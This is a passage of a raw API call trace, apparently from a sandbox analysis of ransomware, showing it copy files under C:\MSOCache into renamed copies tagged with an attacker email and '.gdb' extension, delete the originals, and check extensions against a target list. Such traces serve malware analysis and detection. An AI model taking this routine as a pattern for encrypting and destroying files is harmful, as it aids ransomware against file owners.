lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0128.213] WriteFile (in: hFile=0x210, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x104, lpOverlapped=0x0) returned 1 [0128.213] SetEndOfFile (hFile=0x210) returned 1 [0128.213] CloseHandle (hObject=0x210) returned 1 [0128.213] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0128.213] SetEndOfFile (hFile=0x1b0) returned 1 [0128.220] CloseHandle (hObject=0x1b0) returned 1 [0128.220] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0128.221] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0128.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.221] lstrlenW (lpString=".doc") returned 4 [0128.221] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0128.221] lstrlenW (lpString=".docx") returned 5 [0128.221] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0128.221] lstrlenW (lpString=".pdf") returned 4 [0128.221] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0128.221] lstrlenW (lpString=".xls") returned 4 [0128.221] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0128.221] lstrlenW (lpString=".xlsx") returned 5 [0128.221] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0128.221] lstrlenW (lpString=".ppt") returned 4 [0128.221] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0128.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.221] lstrlenW (lpString=".zip") returned 4 [0128.221] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0128.221] lstrlenW (lpString=".rar") returned 4 [0128.221] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0128.221] lstrlenW (lpString=".bz2") returned 4 [0128.221] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0128.221] lstrlenW (lpString=".7z") returned 3 [0128.470] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0128.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.470] lstrlenW (lpString=".dbf") returned 4 [0128.470] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0128.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.470] lstrlenW (lpString=".1cd") returned 4 [0128.470] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0128.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.470] lstrlenW (lpString=".jpg") returned 4 [0128.470] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0128.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.470] lstrlenW (lpString=".doc") returned 4 [0128.470] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0128.470] lstrlenW (lpString=".docx") returned 5 [0128.470] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0128.470] lstrlenW (lpString=".pdf") returned 4 [0128.470] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0128.470] lstrlenW (lpString=".xls") returned 4 [0128.470] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0128.470] lstrlenW (lpString=".xlsx") returned 5 [0128.470] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0128.470] lstrlenW (lpString=".ppt") returned 4 [0128.470] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0128.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.470] lstrlenW (lpString=".zip") returned 4 [0128.470] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0128.470] lstrlenW (lpString=".rar") returned 4 [0128.470] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0128.471] lstrlenW (lpString=".bz2") returned 4 [0128.471] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0128.471] lstrlenW (lpString=".7z") returned 3 [0128.471] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0128.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.471] lstrlenW (lpString=".dbf") returned 4 [0128.471] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0128.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.471] lstrlenW (lpString=".1cd") returned 4 [0128.471] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0128.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0128.471] lstrlenW (lpString=".jpg") returned 4 [0128.471] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0128.471] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0128.471] lstrlenW (lpString="setup.exe") returned 9 [0128.471] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0129.149] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=1377656) returned 1 [0129.149] CloseHandle (hObject=0x204) returned 1 [0129.149] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0129.149] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.150] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0129.150] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0129.150] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0129.150] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0129.154] GetLastError () returned 0x0 [0129.190] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0xffff0, lpOverlapped=0x0) returned 1 [0129.214] WriteFile (in: hFile=0x220, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xffff0, lpOverlapped=0x0) returned 1 [0129.409] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x50588, lpOverlapped=0x0) returned 1 [0129.514] WriteFile (in: hFile=0x220, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x50590, lpOverlapped=0x0) returned 1 [0129.524] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0129.531] WriteFile (in: hFile=0x220, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xe6, lpOverlapped=0x0) returned 1 [0129.531] SetEndOfFile (hFile=0x220) returned 1 [0129.532] CloseHandle (hObject=0x220) returned 1 [0129.532] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0129.532] SetEndOfFile (hFile=0x204) returned 1 [0129.535] CloseHandle (hObject=0x204) returned 1 [0129.535] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0129.536] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0129.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.536] lstrlenW (lpString=".doc") returned 4 [0129.536] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0129.536] lstrlenW (lpString=".docx") returned 5 [0129.536] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0129.536] lstrlenW (lpString=".pdf") returned 4 [0129.536] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0129.536] lstrlenW (lpString=".xls") returned 4 [0129.536] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0129.536] lstrlenW (lpString=".xlsx") returned 5 [0129.536] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0129.536] lstrlenW (lpString=".ppt") returned 4 [0129.536] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0129.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.536] lstrlenW (lpString=".zip") returned 4 [0129.536] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0129.536] lstrlenW (lpString=".rar") returned 4 [0129.536] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0129.536] lstrlenW (lpString=".bz2") returned 4 [0129.536] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0129.536] lstrlenW (lpString=".7z") returned 3 [0129.536] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0129.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.536] lstrlenW (lpString=".dbf") returned 4 [0129.536] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0129.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.536] lstrlenW (lpString=".1cd") returned 4 [0129.536] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0129.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.537] lstrlenW (lpString=".jpg") returned 4 [0129.537] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0129.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.537] lstrlenW (lpString=".doc") returned 4 [0129.537] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0129.537] lstrlenW (lpString=".docx") returned 5 [0129.537] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0129.537] lstrlenW (lpString=".pdf") returned 4 [0129.537] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0129.537] lstrlenW (lpString=".xls") returned 4 [0129.537] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0129.537] lstrlenW (lpString=".xlsx") returned 5 [0129.537] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0129.537] lstrlenW (lpString=".ppt") returned 4 [0129.537] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0129.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.537] lstrlenW (lpString=".zip") returned 4 [0129.537] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0129.537] lstrlenW (lpString=".rar") returned 4 [0129.537] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0129.537] lstrlenW (lpString=".bz2") returned 4 [0129.537] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0129.537] lstrlenW (lpString=".7z") returned 3 [0129.537] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0129.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.537] lstrlenW (lpString=".dbf") returned 4 [0129.537] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0129.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.537] lstrlenW (lpString=".1cd") returned 4 [0129.537] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0129.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0129.537] lstrlenW (lpString=".jpg") returned 4 [0129.537] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0129.537] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0129.538] lstrlenW (lpString="ose.exe") returned 7 [0129.538] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0129.538] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=174440) returned 1 [0129.538] CloseHandle (hObject=0x204) returned 1 [0129.538] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0129.538] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.538] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0129.538] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0129.538] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0129.538] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0129.539] GetLastError () returned 0x0 [0129.539] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x2a968, lpOverlapped=0x0) returned 1 [0129.550] WriteFile (in: hFile=0x220, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x2a970, lpOverlapped=0x0) returned 1 [0129.557] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0129.558] WriteFile (in: hFile=0x220, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xe2, lpOverlapped=0x0) returned 1 [0129.558] SetEndOfFile (hFile=0x220) returned 1 [0129.558] CloseHandle (hObject=0x220) returned 1 [0129.558] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0129.558] SetEndOfFile (hFile=0x204) returned 1 [0129.560] CloseHandle (hObject=0x204) returned 1 [0129.560] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0129.560] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0129.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.560] lstrlenW (lpString=".doc") returned 4 [0129.560] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0129.560] lstrlenW (lpString=".docx") returned 5 [0129.560] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0129.560] lstrlenW (lpString=".pdf") returned 4 [0129.560] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0129.560] lstrlenW (lpString=".xls") returned 4 [0129.560] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0129.560] lstrlenW (lpString=".xlsx") returned 5 [0129.560] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0129.560] lstrlenW (lpString=".ppt") returned 4 [0129.560] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0129.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.560] lstrlenW (lpString=".zip") returned 4 [0129.560] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0129.560] lstrlenW (lpString=".rar") returned 4 [0129.560] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0129.561] lstrlenW (lpString=".bz2") returned 4 [0129.561] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0129.561] lstrlenW (lpString=".7z") returned 3 [0129.561] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0129.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.561] lstrlenW (lpString=".dbf") returned 4 [0129.561] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0129.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.561] lstrlenW (lpString=".1cd") returned 4 [0129.561] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0129.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.561] lstrlenW (lpString=".jpg") returned 4 [0129.561] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0129.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.561] lstrlenW (lpString=".doc") returned 4 [0129.561] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0129.561] lstrlenW (lpString=".docx") returned 5 [0129.561] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0129.561] lstrlenW (lpString=".pdf") returned 4 [0129.561] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0129.561] lstrlenW (lpString=".xls") returned 4 [0129.561] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0129.561] lstrlenW (lpString=".xlsx") returned 5 [0129.561] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0129.561] lstrlenW (lpString=".ppt") returned 4 [0129.561] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0129.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.561] lstrlenW (lpString=".zip") returned 4 [0129.561] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0129.561] lstrlenW (lpString=".rar") returned 4 [0129.561] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0129.561] lstrlenW (lpString=".bz2") returned 4 [0129.561] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0129.561] lstrlenW (lpString=".7z") returned 3 [0129.561] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0129.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.561] lstrlenW (lpString=".dbf") returned 4 [0129.562] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0129.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.562] lstrlenW (lpString=".1cd") returned 4 [0129.562] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0129.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0129.562] lstrlenW (lpString=".jpg") returned 4 [0129.562] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0129.562] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0129.562] lstrlenW (lpString="osetup.dll") returned 10 [0129.562] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0129.563] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=7378792) returned 1 [0129.563] CloseHandle (hObject=0x204) returned 1 [0129.563] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0129.563] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.563] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0130.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0130.439] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0x0) returned 1 [0130.439] SetFilePointerEx 